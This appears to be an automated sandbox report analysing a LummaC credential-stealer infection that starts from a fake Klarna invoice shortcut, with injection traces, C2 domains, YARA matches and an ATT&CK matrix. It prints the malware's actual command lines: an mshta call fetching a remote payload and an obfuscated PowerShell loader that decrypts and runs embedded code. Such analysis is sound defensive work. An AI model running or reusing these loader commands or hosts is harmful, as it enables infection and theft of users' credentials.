HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\explorer.exe

Network Connect: 104.21.59.81 443

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	NtSetInformationThread: Direct from: 0x6BAE5790
Source: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	NtQuerySystemInformation: Direct from: 0x401CF4
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	NtProtectVirtualMemory: Direct from: 0x76EF7B2E

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\SysWOW64\cmd.exe	Memory written: PID: 6160 base: 9179C0 value: 55
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: PID: 6160 base: 2FDB008 value: 00

LummaC encrypted strings found

Source: cmd.exe, 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: debonairnukk.xyz
Source: cmd.exe, 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: diffuculttan.xyz
Source: cmd.exe, 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: effecterectz.xyz
Source: cmd.exe, 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: deafeninggeh.biz
Source: cmd.exe, 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: immureprech.biz
Source: cmd.exe, 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: passworoggre.click

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: NULL target: C:\Windows\SysWOW64\explorer.exe protection: read write

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9179C0
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 2FDB008

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\System32\mshta.exe" https://naubeautylus.ch/Headerfrontend	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '474A3D80681E00D6A2EF8CD9205A8000631C5C73110F4F3F98F9A3380757A56587AC33C982B8757EDE337D31FE178A5C76E820250B09678E60E099A6640F0003AD5BA580D4079FF31BFB3624F9936FF7E054A6F5E6ADF16AF70F2E258B230F0E119433E36E3EA1E08ACE300686446DBFFA1718086C874FC8A8A09ECE0BFD5827E2193AF83B13A9484213EC696E93EAD4E5C86D3B340D0383DF19D9C6B9177B473A715691E727DD59FAD481BB49CFEA164A8C8A2491D767B90BD1F1A11FC199A39158AB0C73865F35115CBBE29DBEC488B90B0DC061AD5039FE414583BD0E8BD4E7B7672D629DE366DBFAED2D2883ABA50A9A3E095A1B26777F10398DF92E050D286E806395A5648C371F95E62603829AB9CCCACC87BA02D01A00AFE9838ECF66997E0A551A83FFD859BBA6E2E568E9EDF081936A8569161CB274B3B9FC21427BBFF2D5D3CF500872D4A683668F2BA8C3038B93718EE8317DBCCA6305CD634DD1B2335210DC703C66A2F0B81A0128C9E257E324E61A18DA3ABFD1FF42A8E1E1E8F1E7A7E412839AAE35575C1AB8B6072F3F101F284610A7A9532CE85C597BD62A5F4DEB11490AF74CF21ECB396C3208FB1E2589B5CE209FFE1017BD9C5FAECDA99ACB77A243D50657551D5D47F459F8E119B10653DCCB3289C76C9277136D22F53A69199D62D4FFD4041CF72E1A171243BD2074D940A15228E8513CE7A56D65D8EC952DA1892A1C0DD32267424040F32729D596424618D14BC5778CA69A50F5378CE90DD67BF9999C530599FA84EEDF1437CAD4599F3B7A5E7C715AF39F96B02950C66C2C6BA86E0CA9B675D12FDB087692B5AAB0023D114DDA9F406E075D82EBF2F19297D6F614E17214DB113946B455BD69B36718F5E9FDD59B17F24ADE82623F8E02D3779A8A68B9AD01E429B87EFA6E75E2447F0911F56F9765C959A678DCB2037D736BE2BEBFAA18D5CD0E5D31518F484AA55F2B977C501125F80803041206588BADA41525EE9B8028EA58781C70961A6BB0694F09DA35A160ED1AE70FB8C2E6354A6F03BFC8C02611C83AD60917171564EB342465A947A75C12850F40B68C68DF9C5D83328A98798B17DBEA519B0CE39850F7D8E390584FED55BE5059CA71D2719A0D9B3575AD4DA7287E4D5C5F7EFBA6CC3A3F7F4BCD13AC1249B159691B69F1D64638B49A4BB7A28DA57B77892D7E8F00A1D56280ACF19657E31A66DFC23FBA50CFDA53B25280E96E1FBF839A922391F2D69B1839C422568935D9A35EB45649512E2FDFF02BB416951E3F123183CA94CCFCCB683F885C28A6612BE81855A88151A9D947C889DF4B8536261DCAAD58C911647AB6B0D09AAE2E7F0815EF1890124C736FB150D2551F0419A04AA7E0C0AA8A883CD43E6C794BCACCAFBDC6CEA95B925F072D8EC8D52F266541A22E74F87228F055F2EC79DE196F94BD5C59D029B1320B41AAF44D624365A3C1EC5F6B716D4A575948474E4552594C66474E';function cZF ($PgTDvwwB){return -split ($PgTDvwwB -replace '..', '0x$& ')};$kvsOmI = cZF($ddg.SubString(0, 2080));$qlR = [System.Security.Cryptography.Aes]::Create();$qlR.Key = cZF($ddg.SubString(2080));$qlR.IV = New-Object byte[] 16;$GluWYuA = $qlR.CreateDecryptor();$ZwjPYT = [System.String]::new($GluWYuA.TransformFinalBlock($kvsOmI, 0,$kvsOmI.Length)); sal fd $ZwjPYT.Substring(3,3); fd $ZwjPYT.Substring(6)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\KlarnaInvoice42611.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\IMAKBWPY.exe "C:\Users\user\AppData\Roaming\IMAKBWPY.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Process created: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe "C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe" -burn.clean.room="C:\Users\user\AppData\Roaming\IMAKBWPY.exe" -burn.filehandle.attached=520 -burn.filehandle.self=516
Source: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop $ddg = '474a3d80681e00d6a2ef8cd9205a8000631c5c73110f4f3f98f9a3380757a56587ac33c982b8757ede337d31fe178a5c76e820250b09678e60e099a6640f0003ad5ba580d4079ff31bfb3624f9936ff7e054a6f5e6adf16af70f2e258b230f0e119433e36e3ea1e08ace300686446dbffa1718086c874fc8a8a09ece0bfd5827e2193af83b13a9484213ec696e93ead4e5c86d3b340d0383df19d9c6b9177b473a715691e727dd59fad481bb49cfea164a8c8a2491d767b90bd1f1a11fc199a39158ab0c73865f35115cbbe29dbec488b90b0dc061ad5039fe414583bd0e8bd4e7b7672d629de366dbfaed2d2883aba50a9a3e095a1b26777f10398df92e050d286e806395a5648c371f95e62603829ab9cccacc87ba02d01a00afe9838ecf66997e0a551a83ffd859bba6e2e568e9edf081936a8569161cb274b3b9fc21427bbff2d5d3cf500872d4a683668f2ba8c3038b93718ee8317dbcca6305cd634dd1b2335210dc703c66a2f0b81a0128c9e257e324e61a18da3abfd1ff42a8e1e1e8f1e7a7e412839aae35575c1ab8b6072f3f101f284610a7a9532ce85c597bd62a5f4deb11490af74cf21ecb396c3208fb1e2589b5ce209ffe1017bd9c5faecda99acb77a243d50657551d5d47f459f8e119b10653dccb3289c76c9277136d22f53a69199d62d4ffd4041cf72e1a171243bd2074d940a15228e8513ce7a56d65d8ec952da1892a1c0dd32267424040f32729d596424618d14bc5778ca69a50f5378ce90dd67bf9999c530599fa84eedf1437cad4599f3b7a5e7c715af39f96b02950c66c2c6ba86e0ca9b675d12fdb087692b5aab0023d114dda9f406e075d82ebf2f19297d6f614e17214db113946b455bd69b36718f5e9fdd59b17f24ade82623f8e02d3779a8a68b9ad01e429b87efa6e75e2447f0911f56f9765c959a678dcb2037d736be2bebfaa18d5cd0e5d31518f484aa55f2b977c501125f80803041206588bada41525ee9b8028ea58781c70961a6bb0694f09da35a160ed1ae70fb8c2e6354a6f03bfc8c02611c83ad60917171564eb342465a947a75c12850f40b68c68df9c5d83328a98798b17dbea519b0ce39850f7d8e390584fed55be5059ca71d2719a0d9b3575ad4da7287e4d5c5f7efba6cc3a3f7f4bcd13ac1249b159691b69f1d64638b49a4bb7a28da57b77892d7e8f00a1d56280acf19657e31a66dfc23fba50cfda53b25280e96e1fbf839a922391f2d69b1839c422568935d9a35eb45649512e2fdff02bb416951e3f123183ca94ccfccb683f885c28a6612be81855a88151a9d947c889df4b8536261dcaad58c911647ab6b0d09aae2e7f0815ef1890124c736fb150d2551f0419a04aa7e0c0aa8a883cd43e6c794bcaccafbdc6cea95b925f072d8ec8d52f266541a22e74f87228f055f2ec79de196f94bd5c59d029b1320b41aaf44d624365a3c1ec5f6b716d4a575948474e4552594c66474e';function czf ($pgtdvwwb){return -split ($pgtdvwwb -replace '..', '0x$& ')};$kvsomi = czf($ddg.substring(0, 2080));$qlr = [system.security.cryptography.aes]::create();$qlr.key = czf($ddg.substring(2080));$qlr.iv = new-object byte[] 16;$gluwyua = $qlr.createdecryptor();$zwjpyt = [system.string]::new($gluwyua.transformfinalblock($kvsomi, 0,$kvsomi.length)); sal fd $zwjpyt.substring(3,3); fd $zwjpyt.substring(6)
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop $ddg = '474a3d80681e00d6a2ef8cd9205a8000631c5c73110f4f3f98f9a3380757a56587ac33c982b8757ede337d31fe178a5c76e820250b09678e60e099a6640f0003ad5ba580d4079ff31bfb3624f9936ff7e054a6f5e6adf16af70f2e258b230f0e119433e36e3ea1e08ace300686446dbffa1718086c874fc8a8a09ece0bfd5827e2193af83b13a9484213ec696e93ead4e5c86d3b340d0383df19d9c6b9177b473a715691e727dd59fad481bb49cfea164a8c8a2491d767b90bd1f1a11fc199a39158ab0c73865f35115cbbe29dbec488b90b0dc061ad5039fe414583bd0e8bd4e7b7672d629de366dbfaed2d2883aba50a9a3e095a1b26777f10398df92e050d286e806395a5648c371f95e62603829ab9cccacc87ba02d01a00afe9838ecf66997e0a551a83ffd859bba6e2e568e9edf081936a8569161cb274b3b9fc21427bbff2d5d3cf500872d4a683668f2ba8c3038b93718ee8317dbcca6305cd634dd1b2335210dc703c66a2f0b81a0128c9e257e324e61a18da3abfd1ff42a8e1e1e8f1e7a7e412839aae35575c1ab8b6072f3f101f284610a7a9532ce85c597bd62a5f4deb11490af74cf21ecb396c3208fb1e2589b5ce209ffe1017bd9c5faecda99acb77a243d50657551d5d47f459f8e119b10653dccb3289c76c9277136d22f53a69199d62d4ffd4041cf72e1a171243bd2074d940a15228e8513ce7a56d65d8ec952da1892a1c0dd32267424040f32729d596424618d14bc5778ca69a50f5378ce90dd67bf9999c530599fa84eedf1437cad4599f3b7a5e7c715af39f96b02950c66c2c6ba86e0ca9b675d12fdb087692b5aab0023d114dda9f406e075d82ebf2f19297d6f614e17214db113946b455bd69b36718f5e9fdd59b17f24ade82623f8e02d3779a8a68b9ad01e429b87efa6e75e2447f0911f56f9765c959a678dcb2037d736be2bebfaa18d5cd0e5d31518f484aa55f2b977c501125f80803041206588bada41525ee9b8028ea58781c70961a6bb0694f09da35a160ed1ae70fb8c2e6354a6f03bfc8c02611c83ad60917171564eb342465a947a75c12850f40b68c68df9c5d83328a98798b17dbea519b0ce39850f7d8e390584fed55be5059ca71d2719a0d9b3575ad4da7287e4d5c5f7efba6cc3a3f7f4bcd13ac1249b159691b69f1d64638b49a4bb7a28da57b77892d7e8f00a1d56280acf19657e31a66dfc23fba50cfda53b25280e96e1fbf839a922391f2d69b1839c422568935d9a35eb45649512e2fdff02bb416951e3f123183ca94ccfccb683f885c28a6612be81855a88151a9d947c889df4b8536261dcaad58c911647ab6b0d09aae2e7f0815ef1890124c736fb150d2551f0419a04aa7e0c0aa8a883cd43e6c794bcaccafbdc6cea95b925f072d8ec8d52f266541a22e74f87228f055f2ec79de196f94bd5c59d029b1320b41aaf44d624365a3c1ec5f6b716d4a575948474e4552594c66474e';function czf ($pgtdvwwb){return -split ($pgtdvwwb -replace '..', '0x$& ')};$kvsomi = czf($ddg.substring(0, 2080));$qlr = [system.security.cryptography.aes]::create();$qlr.key = czf($ddg.substring(2080));$qlr.iv = new-object byte[] 16;$gluwyua = $qlr.createdecryptor();$zwjpyt = [system.string]::new($gluwyua.transformfinalblock($kvsomi, 0,$kvsomi.length)); sal fd $zwjpyt.substring(3,3); fd $zwjpyt.substring(6)			Jump to behavior

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe

Code function: 16_2_009E1719 InitializeSecurityDescriptor,GetLastError,CreateWellKnownSid,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,SetEntriesInAclA,SetSecurityDescriptorOwner,GetLastError,SetSecurityDescriptorGroup,GetLastError,SetSecurityDescriptorDacl,GetLastError,CoInitializeSecurity,LocalFree,

16_2_009E1719

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe

Code function: 16_2_009E3A5F AllocateAndInitializeSid,CheckTokenMembership,

16_2_009E3A5F

Source: explorer.exe, 00000016.00000003.2529304928.0000000005595000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000016.00000003.2529304928.0000000005595000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: f+SDefaultShellSoftware\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells/NoUACCheck/NoShellRegistrationAndUACCheck/NoShellRegistrationCheckProxy DesktopProgmanLocal\ExplorerIsShellMutex

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe

Code function: 16_2_009CEC07 cpuid

16_2_009CEC07

Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe

Code function: GetACP,PyOS_snprintf,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_Py_NoneStruct,Py_BuildValue,

18_2_6C11FDD0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe

Code function: 16_2_009B4EDF ConvertStringSecurityDescriptorToSecurityDescriptorW,GetLastError,CreateNamedPipeW,GetLastError,CreateNamedPipeW,GetLastError,CloseHandle,LocalFree,

16_2_009B4EDF

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe

Code function: 16_2_009A6037 GetSystemTime,GetDateFormatW,GetLastError,GetLastError,GetDateFormatW,GetLastError,

16_2_009A6037

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe

Code function: 16_2_009A61DF GetUserNameW,GetLastError,

16_2_009A61DF

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe

Code function: 16_2_009E887B GetTimeZoneInformation,SystemTimeToTzSpecificLocalTime,

16_2_009E887B

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe

Code function: 16_2_009A5195 GetModuleHandleW,CoInitializeEx,GetVersionExW,GetLastError,CoUninitialize,

16_2_009A5195

Source: C:\Windows\SysWOW64\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: 22.2.explorer.exe.310000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ryuvnp, type: DROPPED
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: 22.2.explorer.exe.310000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ryuvnp, type: DROPPED
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Deobfuscate/Decode Files or Information	OS Credential Dumping	12 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	4 Native API	1 Windows Service	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Email Collection	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	23 Command and Scripting Interpreter	Logon Script (Windows)	1 Access Token Manipulation	14 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	Login Hook	1 Windows Service	1 Software Packing	NTDS	157 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	3 PowerShell	Network Logon Script	413 Process Injection	1 Timestomp	LSA Secrets	241 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 DLL Side-Loading	Cached Domain Credentials	12 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	131 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	31 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	413 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
KlarnaInvoice229837.pdf.lnk	13%	ReversingLabs	Shortcut.Trojan.Cross

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\ryuvnp	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\Headerfrontend[1]	24%	ReversingLabs	Win32.Trojan.Midie
C:\Users\user\AppData\Roaming\UltraChrome\msvcr90.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	0%	ReversingLabs
C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\msvcr90.dll	0%	ReversingLabs
C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
https://naubeautylus.ch/HeaderfrontendWWC:	0%	Avira URL Cloud	safe
https://naubeautylus.ch/KlarnaInvoice42611.pdf	0%	Avira URL Cloud	safe
https://naubeautylus.ch/Headerfrontend...	0%	Avira URL Cloud	safe
https://passworoggre.click/api	0%	Avira URL Cloud	safe
https://naubeautylus.ch	0%	Avira URL Cloud	safe
https://naubeautylus.ch/IMAKBW	0%	Avira URL Cloud	safe
https://naubeautylus.ch/IMAKBWPY.exe	0%	Avira URL Cloud	safe
https://naubeautylus.ch/IMAKBWP	0%	Avira URL Cloud	safe
https://passworoggre.click/	0%	Avira URL Cloud	safe
https://naubeautylus.ch/HeaderfrontendC:	0%	Avira URL Cloud	safe
https://naubeautylus.ch/IMA	0%	Avira URL Cloud	safe
https://naubeautylus.ch/IMAKBWPY.ex	0%	Avira URL Cloud	safe
https://naubeautylus.ch/Headerfrontend	0%	Avira URL Cloud	safe
https://naubeautylus.ch/Headerfrontend$global:?	0%	Avira URL Cloud	safe
https://naubeautylus.ch/IMAKB	0%	Avira URL Cloud	safe
https://passworoggre.click:443/api	0%	Avira URL Cloud	safe
https://naubeautylus.ch/IMAK	0%	Avira URL Cloud	safe
https://naubeautylus.ch/Headerfrontend2	0%	Avira URL Cloud	safe
https://naubeautylus.ch/I	0%	Avira URL Cloud	safe
https://passworoggre.click/apiO	0%	Avira URL Cloud	safe
https://naubeautylus.ch/Headerfrontend:	0%	Avira URL Cloud	safe
https://naubeautylus.c	0%	Avira URL Cloud	safe
